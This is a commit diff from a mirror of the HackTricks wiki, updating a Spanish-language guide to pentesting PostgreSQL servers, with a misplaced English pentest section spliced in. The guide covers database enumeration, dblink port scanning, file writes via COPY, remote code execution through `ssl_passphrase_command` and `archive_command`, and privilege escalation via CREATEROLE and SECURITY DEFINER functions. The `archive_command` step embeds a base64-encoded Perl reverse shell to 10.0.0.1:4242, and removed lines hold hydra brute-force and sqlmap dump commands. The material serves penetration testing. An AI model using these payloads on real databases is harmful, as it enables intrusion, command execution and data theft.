mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 16:10:54 +00:00
Translated ['network-services-pentesting/pentesting-postgresql.md'] to e
This commit is contained in:
parent
b94a6c71ae
commit
3a5ddac256
1 changed files with 61 additions and 71 deletions
|
@ -47,59 +47,51 @@ Donde:
|
|||
|
||||
### Enumeración Básica
|
||||
|
||||
Una vez que nos hemos conectado con éxito al servidor PostgreSQL, podemos realizar una enumeración básica para obtener información sobre la base de datos y sus objetos.
|
||||
Una vez que nos hemos conectado con éxito al servidor PostgreSQL, podemos realizar una enumeración básica para obtener información sobre la base de datos y los usuarios.
|
||||
|
||||
#### Enumerar bases de datos
|
||||
|
||||
Podemos listar todas las bases de datos disponibles utilizando el comando `\l` o `\list` en `psql`.
|
||||
Podemos listar todas las bases de datos disponibles utilizando el siguiente comando SQL:
|
||||
|
||||
```bash
|
||||
\l
|
||||
```sql
|
||||
SELECT datname FROM pg_database;
|
||||
```
|
||||
|
||||
Esto nos mostrará una lista de todas las bases de datos existentes en el servidor PostgreSQL, junto con su propietario y codificación.
|
||||
|
||||
#### Enumerar tablas
|
||||
|
||||
Para enumerar todas las tablas en una base de datos específica, podemos utilizar el comando `\dt` en `psql`.
|
||||
|
||||
```bash
|
||||
\dt
|
||||
```
|
||||
|
||||
Esto nos mostrará una lista de todas las tablas en la base de datos actual, junto con su esquema y propietario.
|
||||
|
||||
#### Enumerar columnas
|
||||
|
||||
Para enumerar todas las columnas de una tabla específica, podemos utilizar el comando `\d+ <table_name>` en `psql`.
|
||||
|
||||
```bash
|
||||
\d+ <table_name>
|
||||
```
|
||||
|
||||
Esto nos mostrará información detallada sobre la tabla especificada, incluyendo el nombre de la columna, el tipo de datos, las restricciones y más.
|
||||
|
||||
#### Enumerar funciones
|
||||
|
||||
Podemos listar todas las funciones definidas en una base de datos utilizando el comando `\df` en `psql`.
|
||||
|
||||
```bash
|
||||
\df
|
||||
```
|
||||
|
||||
Esto nos mostrará una lista de todas las funciones en la base de datos actual, junto con su esquema y propietario.
|
||||
Esto nos mostrará una lista de todas las bases de datos presentes en el servidor PostgreSQL.
|
||||
|
||||
#### Enumerar usuarios
|
||||
|
||||
Para enumerar todos los usuarios en el servidor PostgreSQL, podemos utilizar el comando `\du` en `psql`.
|
||||
Podemos obtener una lista de todos los usuarios de la base de datos utilizando el siguiente comando SQL:
|
||||
|
||||
```bash
|
||||
\du
|
||||
```sql
|
||||
SELECT usename FROM pg_user;
|
||||
```
|
||||
|
||||
Esto nos mostrará una lista de todos los usuarios en el servidor PostgreSQL, junto con sus roles y privilegios.
|
||||
Esto nos mostrará una lista de todos los usuarios presentes en la base de datos.
|
||||
|
||||
La enumeración básica nos proporciona una visión general de la estructura y los objetos de la base de datos, lo que puede ser útil para futuras pruebas de penetración y explotación.
|
||||
#### Enumerar tablas
|
||||
|
||||
Podemos obtener una lista de todas las tablas en una base de datos específica utilizando el siguiente comando SQL:
|
||||
|
||||
```sql
|
||||
SELECT tablename FROM pg_tables WHERE schemaname='public';
|
||||
```
|
||||
|
||||
Esto nos mostrará una lista de todas las tablas presentes en la base de datos especificada.
|
||||
|
||||
#### Enumerar columnas
|
||||
|
||||
Podemos obtener una lista de todas las columnas en una tabla específica utilizando el siguiente comando SQL:
|
||||
|
||||
```sql
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name='<table_name>';
|
||||
```
|
||||
|
||||
Reemplaza `<table_name>` con el nombre de la tabla de la que deseas obtener las columnas. Esto nos mostrará una lista de todas las columnas presentes en la tabla especificada.
|
||||
|
||||
### Conclusiones
|
||||
|
||||
La conexión y la enumeración básica son los primeros pasos importantes en las pruebas de penetración en PostgreSQL. Estas técnicas nos permiten obtener información valiosa sobre la base de datos y los usuarios, lo que nos ayudará en las etapas posteriores del proceso de pruebas de penetración.
|
||||
```bash
|
||||
psql -U <myuser> # Open psql console with user
|
||||
psql -h <host> -U <username> -d <database> # Remote connection
|
||||
|
@ -155,7 +147,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
|||
|
||||
### **Escaneo de puertos**
|
||||
|
||||
Según [**esta investigación**](https://www.exploit-db.com/papers/13084), cuando un intento de conexión falla, `dblink` lanza una excepción `sqlclient_unable_to_establish_sqlconnection` que incluye una explicación del error. A continuación se muestran ejemplos de estos detalles.
|
||||
Según [**esta investigación**](https://www.exploit-db.com/papers/13084), cuando un intento de conexión falla, `dblink` arroja una excepción `sqlclient_unable_to_establish_sqlconnection` que incluye una explicación del error. A continuación se muestran ejemplos de estos detalles.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=1.2.3.4
|
||||
port=5678
|
||||
|
@ -182,13 +174,13 @@ the server terminated abnormally before or while processing the request
|
|||
|
||||
## Introduction
|
||||
|
||||
PostgreSQL is an open-source relational database management system (RDBMS) that is widely used in web applications. As a pentester, it is important to understand how to assess the security of PostgreSQL installations and identify potential vulnerabilities.
|
||||
PostgreSQL is an open-source relational database management system (RDBMS) that is widely used in web applications. As a pentester, it is important to understand how to test the security of PostgreSQL installations and identify potential vulnerabilities.
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Port Scanning
|
||||
|
||||
To identify PostgreSQL installations on a target network, you can perform a port scan using tools like Nmap. By default, PostgreSQL listens on port 5432.
|
||||
To begin the enumeration process, we can start by scanning the target system for open ports. We can use tools like Nmap to scan for the default PostgreSQL port, which is 5432.
|
||||
|
||||
```bash
|
||||
nmap -p 5432 <target_ip>
|
||||
|
@ -196,43 +188,37 @@ nmap -p 5432 <target_ip>
|
|||
|
||||
### Banner Grabbing
|
||||
|
||||
Once you have identified a PostgreSQL service, you can perform banner grabbing to gather information about the version and configuration of the server. This can be done using tools like `telnet` or `nc`.
|
||||
Once we have identified an open PostgreSQL port, we can perform banner grabbing to gather information about the version and configuration of the PostgreSQL server. This can be done using tools like `telnet` or `nc`.
|
||||
|
||||
```bash
|
||||
telnet <target_ip> 5432
|
||||
```
|
||||
|
||||
### Service Version Detection
|
||||
|
||||
To further gather information about the PostgreSQL service, we can use tools like `nmap` to perform service version detection. This can help us identify any known vulnerabilities associated with the specific version of PostgreSQL running on the target system.
|
||||
|
||||
```bash
|
||||
nmap -p 5432 --script=pgsql-info <target_ip>
|
||||
```
|
||||
|
||||
## Exploitation
|
||||
|
||||
### Default Credentials
|
||||
|
||||
PostgreSQL does not have any default credentials, but it is common for users to set weak or easily guessable passwords. You can use tools like Hydra or Medusa to perform brute-force attacks against the PostgreSQL authentication system.
|
||||
|
||||
```bash
|
||||
hydra -L users.txt -P passwords.txt <target_ip> postgresql
|
||||
```
|
||||
One common vulnerability in PostgreSQL installations is the use of default or weak credentials. It is important to test for default credentials such as `postgres:postgres` or weak passwords that may have been set by the administrator.
|
||||
|
||||
### SQL Injection
|
||||
|
||||
PostgreSQL is vulnerable to SQL injection attacks, which can allow an attacker to execute arbitrary SQL queries and potentially gain unauthorized access to the database. You can use tools like SQLMap to automate the process of identifying and exploiting SQL injection vulnerabilities in PostgreSQL.
|
||||
|
||||
```bash
|
||||
sqlmap -u "http://<target_ip>/login.php" --data="username=admin&password=pass" --dbms=postgresql --dump
|
||||
```
|
||||
|
||||
## Post-Exploitation
|
||||
SQL injection is a common vulnerability that can be exploited in web applications that use PostgreSQL as the backend database. By injecting malicious SQL queries, an attacker can manipulate the database and potentially gain unauthorized access to sensitive information.
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
Once you have gained access to a PostgreSQL database, you can attempt to escalate your privileges to gain administrative access. This can be done by exploiting misconfigurations or vulnerabilities in the database server or by leveraging the privileges of other database users.
|
||||
|
||||
### Data Exfiltration
|
||||
|
||||
As a pentester, you may need to exfiltrate data from a compromised PostgreSQL database. This can be done using various techniques, such as exporting data to a file, using SQL queries to retrieve specific data, or leveraging other database features to extract information.
|
||||
If the pentester is able to gain access to a PostgreSQL database with limited privileges, they can attempt to escalate their privileges by exploiting vulnerabilities in the database or the underlying operating system.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Pentesting PostgreSQL involves identifying and exploiting vulnerabilities in the database server to gain unauthorized access or exfiltrate data. By understanding the enumeration, exploitation, and post-exploitation techniques outlined in this chapter, you will be better equipped to assess the security of PostgreSQL installations.
|
||||
Pentesting PostgreSQL installations involves a combination of enumeration, vulnerability identification, and exploitation techniques. By understanding the potential vulnerabilities and weaknesses in PostgreSQL, pentesters can help organizations secure their database systems.
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
```
|
||||
|
@ -256,7 +242,7 @@ Desafortunadamente, no parece haber una forma de obtener los detalles de la exce
|
|||
| rolcanlogin | El rol puede iniciar sesión. Es decir, este rol puede ser utilizado como identificador de autorización de sesión inicial |
|
||||
| rolreplication | El rol es un rol de replicación. Un rol de replicación puede iniciar conexiones de replicación y crear y eliminar espacios de replicación. |
|
||||
| rolconnlimit | Para roles que pueden iniciar sesión, esto establece el número máximo de conexiones simultáneas que este rol puede realizar. -1 significa sin límite. |
|
||||
| rolpassword | No es la contraseña (siempre se muestra como `********`) |
|
||||
| rolpassword | No es la contraseña (siempre se muestra como `********`) |
|
||||
| rolvaliduntil | Hora de caducidad de la contraseña (solo se utiliza para la autenticación de contraseña); nulo si no hay caducidad |
|
||||
| rolbypassrls | El rol omite todas las políticas de seguridad a nivel de fila, consulte [Sección 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para obtener más información. |
|
||||
| rolconfig | Valores predeterminados específicos del rol para las variables de configuración en tiempo de ejecución |
|
||||
|
@ -506,10 +492,14 @@ Puedes encontrar **más funciones** en [https://www.postgresql.org/docs/current/
|
|||
|
||||
### Escritura de archivos simple
|
||||
|
||||
Solo los **super usuarios** y los miembros de **`pg_read_server_files`** pueden usar copy para escribir archivos.
|
||||
Solo los **super usuarios** y los miembros de **`pg_write_server_files`** pueden usar copy para escribir archivos.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Recuerda que si no eres un superusuario pero tienes los permisos **`CREATEROLE`**, puedes **convertirte en miembro de ese grupo:**
|
||||
```sql
|
||||
|
@ -581,7 +571,7 @@ Una vez que hayas **aprendido** del post anterior **cómo cargar archivos binari
|
|||
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### RCE en el archivo de configuración de PostgreSQL
|
||||
### RCE con archivo de configuración de PostgreSQL
|
||||
|
||||
El **archivo de configuración** de PostgreSQL es **editable** por el usuario **postgres**, que es el que ejecuta la base de datos, por lo que como **superusuario** puedes escribir archivos en el sistema de archivos y, por lo tanto, puedes **sobrescribir este archivo**.
|
||||
|
||||
|
@ -592,13 +582,13 @@ El **archivo de configuración** de PostgreSQL es **editable** por el usuario **
|
|||
El archivo de configuración tiene algunos atributos interesantes que pueden llevar a RCE:
|
||||
|
||||
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Ruta de la clave privada de la base de datos.
|
||||
* `ssl_passphrase_command = ''` Si el archivo privado está protegido por contraseña (cifrado), PostgreSQL **ejecutará el comando indicado en este atributo**.
|
||||
* `ssl_passphrase_command = ''` Si el archivo privado está protegido por contraseña (encriptado), PostgreSQL **ejecutará el comando indicado en este atributo**.
|
||||
* `ssl_passphrase_command_supports_reload = off` **Si** este atributo está **activado**, el **comando** se ejecutará si la clave está protegida por contraseña cuando se ejecute `pg_reload_conf()`.
|
||||
|
||||
Entonces, un atacante deberá:
|
||||
|
||||
1. **Extraer la clave privada** del servidor.
|
||||
2. **Cifrar** la clave privada descargada:
|
||||
2. **Encriptar** la clave privada descargada:
|
||||
`rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Sobrescribir** el archivo de configuración actual.
|
||||
4. **Extraer** la **configuración** actual de PostgreSQL.
|
||||
|
@ -622,7 +612,7 @@ Los pasos generales son:
|
|||
1. Verificar si el modo de archivo está habilitado: `SELECT current_setting('archive_mode')`
|
||||
2. Sobrescribir `archive_command` con el payload. Por ejemplo, un reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Recargar la configuración: `SELECT pg_reload_conf()`
|
||||
4. Forzar la ejecución de la operación WAL, que llamará al comando de archivo: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` para algunas versiones de Postgres
|
||||
4. Forzar la operación de WAL para que se ejecute, lo que llamará al comando de archivo: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` para algunas versiones de Postgres
|
||||
|
||||
**Más** [**información sobre esta configuración y sobre WAL aquí**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
||||
|
||||
|
@ -632,7 +622,7 @@ Los pasos generales son:
|
|||
|
||||
#### **Conceder**
|
||||
|
||||
Según la [**documentación**](https://www.postgresql.org/docs/13/sql-grant.html): _Los roles que tienen el privilegio **`CREATEROLE`** pueden **conceder o revocar la membresía en cualquier rol** que **no sea** un **superusuario**._
|
||||
Según la [**documentación**](https://www.postgresql.org/docs/13/sql-grant.html): _Los roles que tienen el privilegio **`CREATEROLE`** pueden **conceder o revocar membresía en cualquier rol** que **no sea** un **superusuario**._
|
||||
|
||||
Entonces, si tienes el permiso **`CREATEROLE`**, podrías otorgarte acceso a otros **roles** (que no sean superusuario) que pueden darte la opción de leer y escribir archivos y ejecutar comandos:
|
||||
```sql
|
||||
|
@ -750,7 +740,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
|||
```
|
||||
### **Función definida por el usuario con** SECURITY DEFINER
|
||||
|
||||
\*\*\*\*[**En este informe**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), los pentesters lograron escalar privilegios dentro de una instancia de postgres proporcionada por IBM, porque **encontraron esta función con la bandera SECURITY DEFINER**:
|
||||
\*\*\*\*[**En este informe**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), los pentesters lograron escalar privilegios dentro de una instancia de postgres proporcionada por IBM porque **encontraron esta función con la bandera SECURITY DEFINER**:
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
|
@ -830,7 +820,7 @@ La autenticación del cliente es controlada por un archivo de configuración fre
|
|||
|
||||
![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL\_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu\_N1ztXJg)
|
||||
|
||||
**Cada** registro **especifica** un **tipo de conexión**, un **rango de direcciones IP del cliente** (si es relevante para el tipo de conexión), un **nombre de base de datos**, un **nombre de usuario** y el **método de autenticación** que se utilizará para las conexiones que cumplan con estos parámetros. El **primer registro con una coincidencia** en el tipo de conexión, dirección IP del cliente, base de datos solicitada y nombre de usuario **se utiliza** para realizar la autenticación. No hay una "opción de respaldo" o "alternativa": **si se elige un registro y la autenticación falla, los registros posteriores no se consideran**. Si no hay ningún registro que coincida, se deniega el acceso.\
|
||||
**Cada** registro **especifica** un **tipo de conexión**, un **rango de direcciones IP del cliente** (si es relevante para el tipo de conexión), un **nombre de base de datos**, un **nombre de usuario** y el **método de autenticación** que se utilizará para las conexiones que cumplan con estos parámetros. El **primer registro con una coincidencia** en el tipo de conexión, dirección IP del cliente, base de datos solicitada y nombre de usuario **se utiliza** para realizar la autenticación. No hay una "opción de respaldo": **si se elige un registro y la autenticación falla, los registros posteriores no se consideran**. Si no hay ningún registro que coincida, se deniega el acceso.\
|
||||
Los métodos de autenticación basados en contraseña son **md5**, **crypt** y **password**. Estos métodos funcionan de manera similar, excepto por la forma en que se envía la contraseña a través de la conexión: respectivamente, en formato MD5-hashed, encriptada con crypt y en texto claro. Una limitación es que el método crypt no funciona con contraseñas que hayan sido encriptadas en pg\_authid.
|
||||
|
||||
<details>
|
||||
|
|
Loading…
Reference in a new issue